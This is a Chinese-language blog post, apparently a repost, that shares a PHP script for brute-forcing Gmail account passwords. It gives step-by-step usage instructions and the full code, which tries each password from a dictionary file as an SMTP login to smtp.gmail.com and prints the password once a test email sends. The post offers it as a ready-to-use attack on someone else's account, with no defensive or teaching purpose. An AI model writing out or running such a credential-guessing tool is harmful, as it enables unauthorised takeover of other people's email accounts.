一个爆破Gmail邮箱密码的工具

分享一个爆破Gmail邮箱密码的工具,该工具采用PHP编写。

使用方法:

第一步: 将account变量修改为待破解的Gmail邮箱.

第二步: 将pwd_file变量修改为密码字典路径.

第三步: 将toAccount变量修改为你的任意邮箱,该邮箱用于接收邮件.

第四步: 在命令行运行 "php gmail.php" 开始爆破密码.

<?php
    /*
        爆破Gmail邮箱密码
        爆破原理: 给某个邮箱发邮件,如果发送成功,则密码正确.
        
        使用说明:
        第一步: 将account变量修改为待破解的Gmail邮箱.
        第二步: 将pwd_file变量修改为密码字典路径.
        第三步: 将toAccount变量修改为你的任意邮箱,该邮箱用于接收邮件.
        第四步: 在命令行运行 "php gmail.php" 开始爆破密码.
    */
    
    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\Exception;
    
    include_once "./src/PHPMailer.php";
    include_once "./src/SMTP.php";
    
    // 待破解的Gmail邮箱
    $account = '[email protected]';
    
    // 密码字典
    $pwd_file = './password.txt';
    
    // 收件人,设置为你的邮箱
    $toAccount = '[email protected]';
    
    //邮件内容,默认内容一般不修改
    $body="<h2>this is a email.</h2>";
    
    $FromName = explode('@', $account)[0];
    $str = file_get_contents($pwd_file);
    $pwd_list = explode(PHP_EOL, $str);
    
    foreach($pwd_list as $password) {
        if(empty($password)) {
            continue;
        }
        
        $mail=new PHPMailer();
        
        // 设置smtp参数
        $mail->IsSMTP();
        $mail->SMTPAuth=true;
        $mail->SMTPKeepAlive=true;
        $mail->SMTPSecure = "ssl";
        $mail->Host="smtp.gmail.com";
        $mail->Port = 465;
        
        $mail->Username = $account;
        $mail->Password = $password;
                
        $mail->From = $account;
        $mail->FromName = $FromName;
        $mail->Subject = "MacBook";
        $mail->AltBody=$body;
        $mail->WordWrap=50;
        
        $mail->MsgHTML($body);
        
        $mail->AddReplyTo($account, $FromName);
        
        $mail->AddAddress($toAccount,"Jack");
        
        $mail->IsHTML(true);
        
        if($mail->Send()) {
            echo "Account: {$account}" . PHP_EOL;
            echo "Password: {$password}" . PHP_EOL;
            exit();
        } else {
            echo $password . ' is error.' . PHP_EOL;
            continue;
        }
        
        usleep(100000);
    }

猜你喜欢

转载自www.cnblogs.com/dgjnszf/p/10927087.html